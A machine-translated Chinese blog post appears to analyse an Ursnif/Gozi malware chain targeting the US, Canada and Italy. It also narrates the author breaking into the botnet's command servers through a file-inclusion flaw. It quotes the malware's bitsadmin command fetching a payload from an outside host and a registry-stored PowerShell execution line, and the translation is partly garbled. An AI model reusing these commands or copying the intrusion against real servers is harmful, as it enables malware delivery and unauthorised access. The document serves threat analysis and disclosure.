针对美国、加拿大和意大利的大型僵尸网络
今天,我想分享一个完整的路径分析,包括一个回退攻击,这让我获得了整个乌尔斯尼夫/戈里齐亚僵尸网络的完全访问权限。
换句话说:从简单的”恶意软件示例”到”Pwn 攻击者基础结构”。NB:联邦警察已经收到有关这一主题的警报,以及国家和国际CERT/CSIRT(2018年8月26/27日)。攻击的公司和受攻击的主机应该已经联系到。如果你对这个话题一直不知道,那么这意味着,你或你的公司很可能未受到该威胁。我不会公开披露受害者的 IP 。
这种披露遵循道德披露程序,它接近负责任的披露程序,但主要侧重于事件,而不是漏洞。由于博客不在我的业务,我写在我的个人博客上分享网络安全知识,我将描述一些主要步骤,我采取了拥有攻击者的基础设施。我不会透露找到的恶意软件代码或恶意软件命令和控制代码或攻击者组的详细信息,因为我不会把未来的攻击者新的恶意软件源代码准备使用。我的整个”网络冒险”开始与一个简单的电子邮件内。名为”Nuovo Documento1.zip”的ZIP文件作为一个看似正常的附件(sha256:79005f3a6aeb96fec7f3f3f9e812e1f199202e813c82d254b8cc3f621ea1372041)。在邮编内。VBS文件(sha265: 42a7b1ecb39db95a9df1fc8a57e7b88659e57b92904ac1fe7cc81acc0d),目前从病毒总(未知 = 尚未分析)完全未知,准备通过双击开始。VisualBasic 脚本 (阶段1) 被严重混淆,以避免对它进行简单的反向工程分析,但我喜欢去混淆隐藏的代码(每次它就像个人挑战)。经过一些努力的时间()阶段1被完全去混淆,并准备以纯文本解释。我似乎很清楚,阶段1 被控通过对 Microsoft Regedit 运行简单扫描以及删除和执行其他软件来逃避三个主要 AV,例如:卡巴斯基实验室、熊猫安全和趋势科技。
阶段1,Obfuscation
事实上,如果在目标系统上找不到任何搜索的 AV,阶段1 将充当简单的下载器。具体执行的操作如下:
"C:\Windows\System32\cmd.exe" /c bitsadmin /transfer msd5 /priority foreground http://englandlistings.com/pagverd75.php C:\Users\J8913~1.SEA\AppData\Local\Temp/rEOuvWkRP.exe
阶段1 正在删除和执行一个全新的 Pe 文件命名: reouvwkrp. exe (sha256: 92f59c431fbf79bf23cff65d0c4787d0b9e223493dc51a4bbd3c8a5b05c) 使用位分明. exe 本机微软程序.BitsAdmin.exe 是一种命令行工具,系统管理员可以使用该工具创建下载或上传作业并监视其一段时间的进度。在过去几年中,Anunak APT在银行欺诈中广泛使用了这种技术。
阶段2 分析(这里遥遥领先)使我进入一个新的全新放置和解密阶段。阶段3 引入了额外的反逆向工程层。下图显示了高熵内的其他 PE 部分。这是解密器活动的标志。
阶段2,删除并解密 阶段3,你可能会欣赏附加部分的high Entropy
事实上, 阶段 3 (sha256: 84f3a18c5a0dd9af884293a1260dce1b88fc0b743202258ca1097d14a3c9d08e) 也包装了。UPX 算法用于隐藏实际有效负载,因为签名从原始有效负载更改后,许多 AV 引擎无法检测到它。最后,去包装有效载荷提出了许多有趣的特点;例如,它通过逃避技术(如:计时延迟(通过睡眠),循环延迟调用9979141次GetSystemTimeAsFileTime API,BIOS版本采集,系统制造商信息和系统指纹,以检查它是在虚拟或物理环境中运行。它安装在 Windows 自动运行注册表上,以获得受害者计算机上的持久性。在后台标志中运行时执行了以下操作:
cmd.exe /C powershell invoke-expression([System.Text.Encoding]::ASCII.GetString((get-itemproperty ‘HKCU:\Software\AppDataLow\Software\Microsoft\4CA108BF-3B6C-5EF4-2540-9F72297443C6’).Audibrkr))
最终有效负载执行了以下命令,并在目标上生成了两个主要服务(WSearch、WerSvc)。
"C:\Users\J8913~1.SEA\AppData\Local\Temp\2e6d628189703d9ad4db9e9d164775bd.exe
C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding
C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
\\?\C:\Windows\system32\wbem\WMIADAP.EXE wmiadap.exe /F /T /R
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2552 CREDAT:209921 /prefetch:2
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2552 CREDAT:406536 /prefetch:2
C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:264 WinX:0 WinY:0 IEFrame:0000000000000000
C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:65800 WinX:0 WinY:0 IEFrame:0000000000000000
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3004 CREDAT:209921 /prefetch:2
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:3004 CREDAT:144390 /prefetch:2
C:\Windows\system32\SearchIndexer.exe /Embedding
taskhost.exe SYSTEM
C:\Windows\System32\wsqmcons.exe
taskhost.exe $(Arg0)
C:\Windows\System32\svchost.exe -k WerSvcGroup
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe1_ Global\UsGthrCtrlFltPipeMssGthrPipe1 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
"C:\Windows\system32\SearchFilterHost.exe" 0 552 556 564 65536 560
"C:\Windows\sysWow64\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11082_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11082 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" "1"
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11083_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11083 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" "1"
"C:\Windows\sysWow64\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11084_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11084 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" "1"
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe5_ Global\UsGthrCtrlFltPipeMssGthrPipe5 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
"C:\Windows\sysWow64\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11086_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11086 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" "1"
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11087_ Global\UsGthrCtrlFltPipeMssGthrPipe_S-1-5-21-3908037912-2838204505-3570244140-11087 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" "1"
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe8_ Global\UsGthrCtrlFltPipeMssGthrPipe8 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:592 CREDAT:209921 /prefetch:2
cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\J8913~1.SEA\AppData\Local\Temp\34B0.bi1"
cmd /C "echo -------- >> C:\Users\J8913~1.SEA\AppData\Local\Temp\34B0.bi1"
C:\Windows\system32\schtasks.exe /delete /f /TN "Microsoft\Windows\Customer Experience Improvement Program\Uploader"
C:\Windows\system32\WerFault.exe -u -p 2524 -s 288
"C:\Windows\system32\wermgr.exe" "-queuereporting_svc" "C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_taskhost.exe_82b9a110b3b94c55171865162b471ffb8fadc7c6_cab_0ab86b12"
阶段3 最终连接到C2s 一旦检查了自己的 IP 地址。观察到两个主要的 C2:
• C2 level_1(对于域和 IP,请选中 IoC 部分。阶段3 连接到 C2 level_1武器化。Level_1命令和控制获取受害者的信息,并提供插件来扩展感染功能。
• C2 level_2(对于域和 IP,请查看 IoC 部分。第 3 阶段间接连接到 C2 level_2,以便提供被盗信息。它是一个 Ursniff/Gozi,它通过查找特定文件,获取用户剪贴板,并在浏览器中对主要网站(如PayPal、Gmail、微软和许多在线服务)执行主攻击来筛选用户凭据。
目前为止,一切都好。一切看起来像我通常的分析之一, 但有些东西引起了我的注意。C2 level_1有一个管理小组,就我个人的观点来看,这个小组是”汉德制作和漂亮的”年轻”,通过HTML的mtheeaning实现,没有客户端控件,没有点击劫持控件,而不是特殊的登录令牌。根据Yroi的使命(保护其客户),我决定更进一步,试图通过进入整个网络,并配合地方当局关闭他们,通过获得尽可能多的信息,以帮助联邦和地方警察打击网络犯罪,试图保护人民和/或受感染的公司。幸运的是,我在命令和控制中发现了一个包含文件的漏洞,它把我收录了!下图显示了我在攻击者的命令和控制中生成的反向 shell。
C2 上反向Shell 阶段1
现在,我能够下载整个命令和控制源代码(php)并研究它!这种全新的C2的研究使我更上一层楼。首先,我能够访问本地数据库,在那里我发现了很多受感染的 IP(与 C2 通信的 IP level_1)。下图证明,下载的指挥和控制系统有马其顿方言(西里尔语),根据阿努纳克APT报告由组ib。
命令和控制源代码(狙击)
下图表示受害者 IP 中的数据库转储的简单屏幕截图(出于隐私原因未公开)。
C2 level_1数据库
对数据库的其他调查带来了新的互联 IP。这些 IP 正在查询具有管理权限的 MySQL。至少有两层C2存在。当level_1将恶意软件植入物武器化时level_2受害者那里收集信息。由于源代码研究已经可能发现更多的0天用于对C2,并为了突破C2level_2。现在,我能够看到来自受感染主机的加密 URL。前面的重要步骤故意缺失。在许多 URL 中,分析人员能够从攻击者那里找出一个”测试”连接,并专注于解密此类连接。幸运的是,所有需要的都写在命令和控制源代码上。在具体的情况下,以下功能是获得清晰文本的根本!
URL 解密功能
eKey 是直接在 DB 上,解密功能很容易反转。最后,有可能想出如何解密攻击者测试字符串(日志上可用的第一个事务)和voilé,有可能签入攻击者的电子邮件!
攻击者电子邮件:VPS 凭据
一旦”进入”一个新的需求出现了:通过访问VPS控制面板来发现整个网络。在攻击者基础结构上执行一些活动步骤后,可以访问整个 VPS 控制面板。在这一点上,很明显,一般基础设施图片*以及如何阻止威胁,不仅为客户,而且为每个人!
攻击者 VPS 环境
免费共享这些结果将使供应商(例如:AV公司、防火墙公司、IDS 公司和儿子)能够更新其签名并阻止世界各地每个人的此类威胁。我相信,这项工作不会阻止恶意的演员,但至少我们可能会提高我们的声音反对网络罪犯!总结:
在这篇文章中,我描述了我采取的主要步骤,使我获得一个大的乌尔斯尼夫/Gozi僵尸网络,以关闭它通过提醒联邦和国家当局(没有对攻击者基础设施执行直接破坏性行动)。威胁看起来结构很好,Docker 容器是为了自动化恶意基础结构部署而采用的,并且代码设计得很好。发现了许多层指挥和控制,整个基础设施可能是从犯罪组织而不是从一个人建立。下图显示了 2018 年 8 月的受害者分布情况。目前的主要目标是美国,受害者占47%,其次是加拿大(29.3%)和意大利(7.3%)。2018年8月,受害者总数为数千人。
2018年8月24日受害者分布
在分析过程中,有趣的是观察到攻击者正在从一个明显的”黑市”获取域名,许多行为者在其中出售和购买”明显受损域名”(没有证据,最后一句,只有感觉)。系统(下图)看起来像公共 API 中的交易平台,第三方系统可以操作该平台,如股票运营商。
明显域黑市